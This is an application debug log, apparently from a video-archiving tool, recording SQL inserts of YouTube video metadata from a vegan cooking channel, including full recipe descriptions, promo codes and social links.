CODES\nIndoor Hydroponic Garden: Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! \nOur link: https://igworks.com/products/iharvest... \n\nPeko Produce — Mystery Produce Box Delivery: Use ‘STEAMYVEGANKITCHEN10’ at checkout to save 10% off your first order!\nOur link: https://pekoproduce.com/steamyveganki... \n\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nMusic by Mr. Jello - Bright & Early - https://thmatc.co/?l=D1F22B04\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522\nMusic by Caspar Babypants - Banana Bread - \u00A0\u00A0\u00A0•\u00A0banana\u00A0bread\u00A0\u00A0\n\n0:00 - Intro\n1:12 - Ingredients (healthy and whole foods)\n1:18 - How to make oat flour\n1:37 - How to make vegan banana bread\n3:36 - How to make healthy crumb topping\n4:20 - the BEST banana bread you'll ever make", "Vegan Banana Bread! 🍌🍞 How to make vegan gluten free banana bread", "923cb144-50bb-4351-b3c7-e7654727972d", 1, [], false, "Md-V4Neaa1w", "https://www.youtube.com/watch?v=Md-V4Neaa1w", 322, "/downloads/downloads/alec/Steamy Vegan/2023-02-16 Vegan Banana Bread! 🍌🍞 How to make vegan gluten free banana bread/Vegan Banana Bread! 🍌🍞 How to make vegan gluten free banana bread [Md-V4Neaa1w].NA", false, false, false, 1, ~U[2023-02-16 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I'm going to show you how to make vegan gluten free banana bread! This vegan banana bread is TOTALLY BONKERS, you guys! 😲 This easy vegan banana bread recipe uses mostly whole food healthy ingredients like oats, flax, tahini and coconut sugar and NO OIL OR REFINED SUGARS! If you're tired of your gluten-free breads turning out like garbage then you need this recipe! \n\nLoved this video? DON'T FORGET TO LIKE AND SUBSCRIBE! 😊\n\nVEGAN GLUTEN-FREE BANANA BREAD\n2½ cups rolled oats (gluten-free if necessary)\n2 tsp baking powder\n1 tsp baking soda\n½ tsp salt\n¾ tsp cinnamon\n½ cup coconut sugar\n3 ripe, brown spotty bananas\n¼ cup tahini or nut butter\n1 tsp vanilla\n2 flax eggs (2 tbsp ground flax seed + 6 tbsp water, sit 10 mins)\n2 tsp apple cider vinegar\n½ cup vegan choc chips\nCRUMB TOPPING (OPTIONAL)\n¼ cup + 2 tbsp rolled oats\n3 tbsp oat flour \n¼ cup almond flour\n3 tbsp nut/seed butter\n3 tbsp coconut sugar\n¼ tsp cinnamon\n⅛ tsp nutmeg\n⅛ tsp cardamom (optional)\n⅛ salt \n\n1. Preheat your oven to 350°F and line a loaf tin with parchment paper.\n2. Make your oat flour first by blending up 2 cups of the rolled oats in a high-speed blender for 10-20 seconds, until a fine flour has formed. Transfer to a large mixing bowl.\n3. Add in the baking powder, baking soda, salt, cinnamon, and remaining ½ cup of oats and mix until combined. Set aside.\n4. In a separate mixing bowl, add the bananas and mash with a fork until shiny and runny with only a few lumps remaining. Add the coconut sugar, tahini, flax eggs, vanilla and apple cider vinegar and stir until it's a well combined mixture.\n5. Pour the dry ingredients into the wet and mix with a wooden spoon or spatula until well combined into a uniform batter with no dry spots remaining. Transfer batter into the loaf tin and set aside for a few minutes while you whip up the crumb topping.\n6. OPTIONAL STEP: In a food processor or blender, add all the crumb topping ingredients (minus the rolled oats) and blitz until well combined and resembling clumpy sand. Add the rolled oats and pulse a few times until combined.\n6A. Spoon about ½ cup or more of the crumb topping over the banana bread batter and gently press down to help it stick. \n7. Bake for 60 to 70 minutes, or until golden on top and a toothpick inserted comes out clean. Let cool in the tin for 10 minutes then remove and allow to cool completely on a wire rack. Slice, toast if you like and enjoy! Slather on some butter, nut/seed butter or eat as is! \n\n---------------------------------------------------------------------------------------------------------------------\nPROMO CODES\nIndoor Hydroponic Garden: Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! \nOur link: https://igworks.com/products/iharvest... \n\nPeko Produce — Mystery Produce Box Delivery: Use ‘STEAMYVEGANKITCHEN10’ at checkout to save 10% off your (truncated) 20:31:08.432 [debug] QUERY OK source="sources" db=0.8ms idle=16.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.434 [debug] QUERY OK source="media_items" db=2.0ms idle=8.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-12 00:00:00Z], 1] 20:31:08.437 [debug] QUERY OK source="media_items" db=1.8ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this 'What I Eat In A Day' video I show you some easy and delicious vegan Valentine's recipes! 💋 We covered every meal of the day, PLUS dessert (of course!) so you can see what foods a vegan couple eats. Most of these vegan valentine's recipes are whole food plant based recipes and budget friendly! 😊\n\nEnjoy this video? Please LIKE 👍🏻 and SUBSCRIBE!\n\nRECIPES IN THIS VIDEO\n\nBREAKFAST ~ banana blender pancakes \nFull recipe on my blog: https://steamyvegan.com/8-ingredient-...\neasy blueberry sauce\n1 cup blueberries (fresh/frozen)\n1 tbsp sweetener (maple, agave, date syrup)\n1 tbsp lemon juice\n3 tbsp water\npinch of salt\n1 tsp tapioca/corn starch in ¼ water\n\nCombine all ingredients (except starch slurry) into a small saucepan and bring to a simmer on medium heat until the blueberries have released their juices and have become saucey, about 10 minutes. Add the starch slurry and mix until the sauce begins to thicken slightly, then remove from the heat.\n\nLUNCH ~ sweet potato, basil and tomato soup \nFull recipe on my blog: https://steamyvegan.com/butternut-bas...\ngarlicky herb & olive foccacia bread (gluten-free)\nNot my recipe, but check it out! https://www.dishbydish.net/rosemary-f...\n\nDINNER ~ spinach, artichoke & mushroom alfredo pasta\n1 lb. mushrooms, sliced (white, cremini)\n1 14 oz can artichoke hearts, roughly chopped\n3 to 4 cups spinach, roughly chopped\n1 package of pasta noodles\nfor the alfredo sauce\n¼ cup cashews + 2 tbsp sunflower seeds, soaked in boiling water 30 mins\n½ tbsp lemon juice\n1 tbsp nutritional yeast\n1 tsp salt\n½ tsp black pepper\n¾ cup plant milk\n1 medium onion, chopped\n4 cloves garlic, minced\n\n1. Cook your pasta noodles according to package directions\n2. In a sauce pan, sauté the garlic and onion in a tbsp of oil (or ¼ water/broth) until translucent and fragrant, about 4 minutes -- transfer to a high speed blender.\n3. Add more oil or broth to the saucepan and cook the mushrooms and artichokes on medium-high heat until their golden and softened -- in the meantime make the alfredo sauce\n4. Add all remaining alfredo sauce ingredients to your blender and blend on high speed for 45 to 60 seconds, until it forms a perfectly creamy sauce (seriously SO good)\n5. Once the mushrooms and artichokes are cooked, pour in the alfredo sauce and stir in the chopped spinach leaves. Keep heat on medium-low and allow the spinach to wilt, about 2 minutes.\n6. Add in the cooked pasta noodles, mixing well to ensure the sauce coats every noodle. Remove from the heat and serve. Enjoy!\n\nDESSERT ~ sweet potato brownies\n(Watch the full recipe YouTube video here! \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Sweet\u00A0Potato\u00A0Brownies!\u00A0Gluten-free,\u00A0...\u00A0\u00A0 )\n1½ cups oat flour (can make in blender with oats)\n½ cup pitted dates, soaked in hot water 5 mins\n2 medium baked sweet potatoes\n½ cup cocoa powder\n½ cup plant milk\n2 tsp vanilla extract\n½ tsp sea salt\n1 tsp baking soda\n1 tsp baking powder\nchocolate sauce\n2 tbsp cocoa powder\n2 tbsp date syrup (or maple)\n2 tbsp plant milk\n\n1. Bake 2 medium sweet potatoes (skins on, poke a few holes around with fork) for 1 hour until soft and let cool completely (overnight is preferable as it helps with the caramelization)\n2. Preheat oven to 400° F (200°C) and line a 9\"x9\" baking tin with parchment paper.\n3. In the bowl of a food processor, add the sweet potato flesh (skins removed), soaked dates, vanilla, and plant milk and process until completely smooth, about 2 minutes.\n4. In a separate large bowl, sift and combine the oat flour, cocoa powder, sea salt, baking powder and baking soda and then add to the wet ingredients in the food processor. Process once again until a completely smooth batter forms.\n5. Transfer the batter into the lined baking tin, smooth into an even layer and bake for 22 to 25 minutes, until slightly firm to the touch.\n6. Let cool completely -- in the meantime make the chocolate sauce: in a small bowl whisk together all the sauce ingredients until it forms a shiny liquid mixture. Pour over the brownies and smooth out with a spatula. Cut into 9 even squares and enjoy!\n\n\nPROMO CODES\nIndoor Hydroponic Garden: Use our promo cod" <> ..., "What I Eat In A Day For Valentine's Day 💕", "b87b2f64-9b5e-4512-8d80-e9b9322827d0", 1, [], false, "8dUducBJ6Cc", "https://www.youtube.com/watch?v=8dUducBJ6Cc", 323, "/downloads/downloads/alec/Steamy Vegan/2023-02-12 What I Eat In A Day For Valentine's Day 💕/What I Eat In A Day For Valentine's Day 💕 [8dUducBJ6Cc].NA", false, false, false, 1, ~U[2023-02-12 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this 'What I Eat In A Day' video I show you some easy and delicious vegan Valentine's recipes! 💋 We covered every meal of the day, PLUS dessert (of course!) so you can see what foods a vegan couple eats. Most of these vegan valentine's recipes are whole food plant based recipes and budget friendly! 😊\n\nEnjoy this video? Please LIKE 👍🏻 and SUBSCRIBE!\n\nRECIPES IN THIS VIDEO\n\nBREAKFAST ~ banana blender pancakes \nFull recipe on my blog: https://steamyvegan.com/8-ingredient-...\neasy blueberry sauce\n1 cup blueberries (fresh/frozen)\n1 tbsp sweetener (maple, agave, date syrup)\n1 tbsp lemon juice\n3 tbsp water\npinch of salt\n1 tsp tapioca/corn starch in ¼ water\n\nCombine all ingredients (except starch slurry) into a small saucepan and bring to a simmer on medium heat until the blueberries have released their juices and have become saucey, about 10 minutes. Add the starch slurry and mix until the sauce begins to thicken slightly, then remove from the heat.\n\nLUNCH ~ sweet potato, basil and tomato soup \nFull recipe on my blog: https://steamyvegan.com/butternut-bas...\ngarlicky herb & olive foccacia bread (gluten-free)\nNot my recipe, but check it out! https://www.dishbydish.net/rosemary-f...\n\nDINNER ~ spinach, artichoke & mushroom alfredo pasta\n1 lb. mushrooms, sliced (white, cremini)\n1 14 oz can artichoke hearts, roughly chopped\n3 to 4 cups spinach, roughly chopped\n1 package of pasta noodles\nfor the alfredo sauce\n¼ cup cashews + 2 tbsp sunflower seeds, soaked in boiling water 30 mins\n½ tbsp lemon juice\n1 tbsp nutritional yeast\n1 tsp salt\n½ tsp black pepper\n¾ cup plant milk\n1 medium onion, chopped\n4 cloves garlic, minced\n\n1. Cook your pasta noodles according to package directions\n2. In a sauce pan, sauté the garlic and onion in a tbsp of oil (or ¼ water/broth) until translucent and fragrant, about 4 minutes -- transfer to a high speed blender.\n3. Add more oil or broth to the saucepan and cook the mushrooms and artichokes on medium-high heat until their golden and softened -- in the meantime make the alfredo sauce\n4. Add all remaining alfredo sauce ingredients to your blender and blend on high speed for 45 to 60 seconds, until it forms a perfectly creamy sauce (seriously SO good)\n5. Once the mushrooms and artichokes are cooked, pour in the alfredo sauce and stir in the chopped spinach leaves. Keep heat on medium-low and allow the spinach to wilt, about 2 minutes.\n6. Add in the cooked pasta noodles, mixing well to ensure the sauce coats every noodle. Remove from the heat and serve. Enjoy!\n\nDESSERT ~ sweet potato brownies\n(Watch the full recipe YouTube video here! \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Sweet\u00A0Potato\u0 (truncated) 20:31:08.438 [debug] QUERY OK source="sources" db=0.7ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.440 [debug] QUERY OK source="media_items" db=1.8ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-10 00:00:00Z], 1] 20:31:08.442 [debug] QUERY OK source="media_items" db=1.1ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These Vegan Sweet Potato Brownies are INSANELY good. Gluten-free, plant-based and refined-sugar free! If you're following starch solution weight-loss or are just looking for a sugar-free sweet potato brownies recipe then this will be your new fave!\n\nEnjoy this video? Please LIKE 👍🏻 and SUBSCRIBE!\n\nFULL RECIPE ON MY BLOG ➡️ https://steamyvegan.com/sweet-potato-...\n---------------------------------------------------------------------------------------------------------------------\nPROMO CODES\nIndoor Hydroponic Garden: Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! \nOur link: https://igworks.com/products/iharvest... \n\nPeko Produce — Mystery Produce Box Delivery: Use ‘STEAMYVEGANKITCHEN10’ at checkout to save 10% off your first order!\nOur link: https://pekoproduce.com/steamyveganki... \n\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nMusic by Sonic Nothing - Blush - https://thmatc.co/?l=B94E51FA\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "Vegan Sweet Potato Brownies! Gluten-free, plant-based 🌱", "ca09b882-d7fc-4d2f-ba8b-dd8aa16fbf43", 1, [], false, "sZGmMaDVWHk", "https://www.youtube.com/watch?v=sZGmMaDVWHk", 324, "/downloads/downloads/alec/Steamy Vegan/2023-02-10 Vegan Sweet Potato Brownies! Gluten-free, plant-based 🌱/Vegan Sweet Potato Brownies! Gluten-free, plant-based 🌱 [sZGmMaDVWHk].NA", false, false, false, 1, ~U[2023-02-10 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "These Vegan Sweet Potato Brownies are INSANELY good. Gluten-free, plant-based and refined-sugar free! If you're following starch solution weight-loss or are just looking for a sugar-free sweet potato brownies recipe then this will be your new fave!\n\nEnjoy this video? Please LIKE 👍🏻 and SUBSCRIBE!\n\nFULL RECIPE ON MY BLOG ➡️ https://steamyvegan.com/sweet-potato-...\n---------------------------------------------------------------------------------------------------------------------\nPROMO CODES\nIndoor Hydroponic Garden: Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! \nOur link: https://igworks.com/products/iharvest... \n\nPeko Produce — Mystery Produce Box Delivery: Use ‘STEAMYVEGANKITCHEN10’ at checkout to save 10% off your first order!\nOur link: https://pekoproduce.com/steamyveganki... \n\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nMusic by Sonic Nothing - Blush - https://thmatc.co/?l=B94E51FA\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "Vegan Sweet Potato Brownies! Gluten-free, plant-based 🌱", 1, nil, false, "sZGmMaDVWHk", "https://www.youtube.com/watch?v=sZGmMaDVWHk", "/downloads/downloads/alec/Steamy Vegan/2023-02-10 Vegan Sweet Potato Brownies! Gluten-free, plant-based 🌱/Vegan Sweet Potato Brownies! Gluten-free, plant-based 🌱 [sZGmMaDVWHk].NA", false, ~U[2023-02-10 00:00:00Z]] 20:31:08.442 [debug] QUERY OK source="sources" db=0.5ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.445 [debug] QUERY OK source="media_items" db=2.0ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-04 00:00:00Z], 1] 20:31:08.447 [debug] QUERY OK source="media_items" db=1.7ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Take a peak at what I eat in a day as a vegan! Brad and I are trying to adopt a more whole foods plant-based diet. Today we ate high-protein vegan meals that were filling, nutritious, DELICIOUS and really easy to prepare. I love this way of eating! I’m trying to balance my perception of food as fuel but also comfort and happiness. Because if what you’re eating doesn’t make you feel good and happy… what are you doing?!\n\n⭐️ Check out my other What I Eat Videos here ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n-----------------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! 🌱 https://igworks.com/products/iharvest... \n-----------------------------------------------------------------------------------------------------------------------\nBREAKFAST / Quick oats meal-prep jars\n2 to 3 cups quick-cooking oats\n4 to 5 tbsp chia seeds\n1/4 cup of nuts/seeds\n1 to 2 tsp cinnamon or other spices\n1/4 cup unsweetened shredded coconut\nAdditional add-ins:\nraisins or dried cranberries\nhemp hearts\npowdered peanut butter\nprotein powder\nground flax seeds\n1 serving is approx 1/2 cup of the mix plus 1.5 cups of boiling water, adjust as you need to. Mix and let 'cook' in the bowl for 5 minutes, then top with your favourite fruit, nut butters or anything else!\n\nLUNCH / Lazy noodle bowls\n½ to 1 block of extra firm tofu, cubed\nApprox 5 cups chopped veggies (bell peppers, red onion, jalapeño, carrot)\n2 to 3 tbsp soy sauce or tamari\n1 tbsp garlic powder\n1 tbsp gochugaru (korean hot pepper flakes)\n2 cubes/portions of vermicelli noodles\n1 to 2 veggie bouillon cubes (optional if you're serving noodles in broth)\n\nSauté the veggies and tofu together in a large skillet on medium-high heat for about 7 minutes while the noodles cook. Serve the veggies and noodles in a bowl, garnish with sesame seeds, smoked kelp, or green onion and enjoy!\n\nDINNER / Leftovers lettuce wraps\nLettuce wraps are great to make when you have a few random leftovers in your fridge like noodles, rice, cooked veg or tofu. All you need to do is wash and dry your large lettuce leaves and fill them up with what you've got! Such a simple a delicious meal for any day of the week. \n\n------------------------------------------------------------------------------------------------------------------\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by frumhere, kevatta - summer nights - https://thmatc.co/?l=D6FDD185\nMusic by Syphax - Rose Lips - https://thmatc.co/?l=320D5393\nMusic by Naomi - Gummy Bear - https://thmatc.co/?l=700823B8", "Realistic WHAT I EAT IN A DAY / high-protein vegan meals 🌱", "2748ceee-df71-4997-9017-8d23437ffb8c", 1, [], false, "mZ15OUD82OI", "https://www.youtube.com/watch?v=mZ15OUD82OI", 325, "/downloads/downloads/alec/Steamy Vegan/2023-02-04 Realistic WHAT I EAT IN A DAY ⧸ high-protein vegan meals 🌱/Realistic WHAT I EAT IN A DAY ⧸ high-protein vegan meals 🌱 [mZ15OUD82OI].NA", false, false, false, 1, ~U[2023-02-04 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Take a peak at what I eat in a day as a vegan! Brad and I are trying to adopt a more whole foods plant-based diet. Today we ate high-protein vegan meals that were filling, nutritious, DELICIOUS and really easy to prepare. I love this way of eating! I’m trying to balance my perception of food as fuel but also comfort and happiness. Because if what you’re eating doesn’t make you feel good and happy… what are you doing?!\n\n⭐️ Check out my other What I Eat Videos here ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n-----------------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! 🌱 https://igworks.com/products/iharvest... \n-----------------------------------------------------------------------------------------------------------------------\nBREAKFAST / Quick oats meal-prep jars\n2 to 3 cups quick-cooking oats\n4 to 5 tbsp chia seeds\n1/4 cup of nuts/seeds\n1 to 2 tsp cinnamon or other spices\n1/4 cup unsweetened shredded coconut\nAdditional add-ins:\nraisins or dried cranberries\nhemp hearts\npowdered peanut butter\nprotein powder\nground flax seeds\n1 serving is approx 1/2 cup of the mix plus 1.5 cups of boiling water, adjust as you need to. Mix and let 'cook' in the bowl for 5 minutes, then top with your favourite fruit, nut butters or anything else!\n\nLUNCH / Lazy noodle bowls\n½ to 1 block of extra firm tofu, cubed\nApprox 5 cups chopped veggies (bell peppers, red onion, jalapeño, carrot)\n2 to 3 tbsp soy sauce or tamari\n1 tbsp garlic powder\n1 tbsp gochugaru (korean hot pepper flakes)\n2 cubes/portions of vermicelli noodles\n1 to 2 veggie bouillon cubes (optional if you're serving noodles in broth)\n\nSauté the veggies and tofu together in a large skillet on medium-high heat for about 7 minutes while the noodles cook. Serve the veggies and noodles in a bowl, garnish with sesame seeds, smoked kelp, or green onion and enjoy!\n\nDINNER / Leftovers lettuce wraps\nLettuce wraps are great to make when you have a few random leftovers in your fridge like noodles, rice, cooked veg or tofu. All you need to do is wash and dry your large lettuce leaves and fill them up with what you've got! Such a simple a delicious meal for any day of the week. \n\n------------------------------------------------------------------------------------------------------------------\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by frumhere, kevatta - summer nights - https://thmatc.co/?l=D6FDD185\nMusic by Syphax - Rose Lips - https://thmatc.co/?l=320D5393\nMusic by Naom (truncated) 20:31:08.448 [debug] QUERY OK source="sources" db=0.5ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.450 [debug] QUERY OK source="media_items" db=1.5ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-02 00:00:00Z], 1] 20:31:08.452 [debug] QUERY OK source="media_items" db=2.1ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video we'll show you our iHarvest unboxing, set up and quick review of what we think so far! If you've been looking to get yourself an easy-to-use indoor garden, you should definitely consider growing with a uHarvest, the latest release from Indoor Garden Works. 🌱 They're the easiest way to grow tons of fresh, organic and pesticide-free herbs, veggies and fruits. And you can practically grow whatever you want. \n----------------------------------------------------------------------------------------------------------------------------------------------------------\nA BIG thank you to Indoor Garden Works for gifting us with our uHarvest to try out! We have been loyal customers of IGWorks since they launched their first product, the iHarvest, a few years ago. We bought our own iHarvest and are absolutely in LOVE with it, and couldn't be more excited to continue growing indoors with their latest innovation. \nHead to www.igworks.com to see what it's all about. 😊\n----------------------------------------------------------------------------------------------------------------------------------------------------------\nLet us know what you think in the comments! Are you going to 'pluck' a uHarvest for yourself?\n\nWe also have the big sister indoor garden to the uHarvest, the iHarvest! It's quite a lot bigger and can grow more than double the produce. If you want to check out our in-depth review on it, click the link below! ⬇️\n\niHarvest In-Depth Review: \u00A0\u00A0\u00A0•\u00A0iHARVEST\u00A0IN-DEPTH\u00A0REVIEW:\u00A0Our\u00A0Honest\u00A0Revie...\u00A0\u00A0\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY 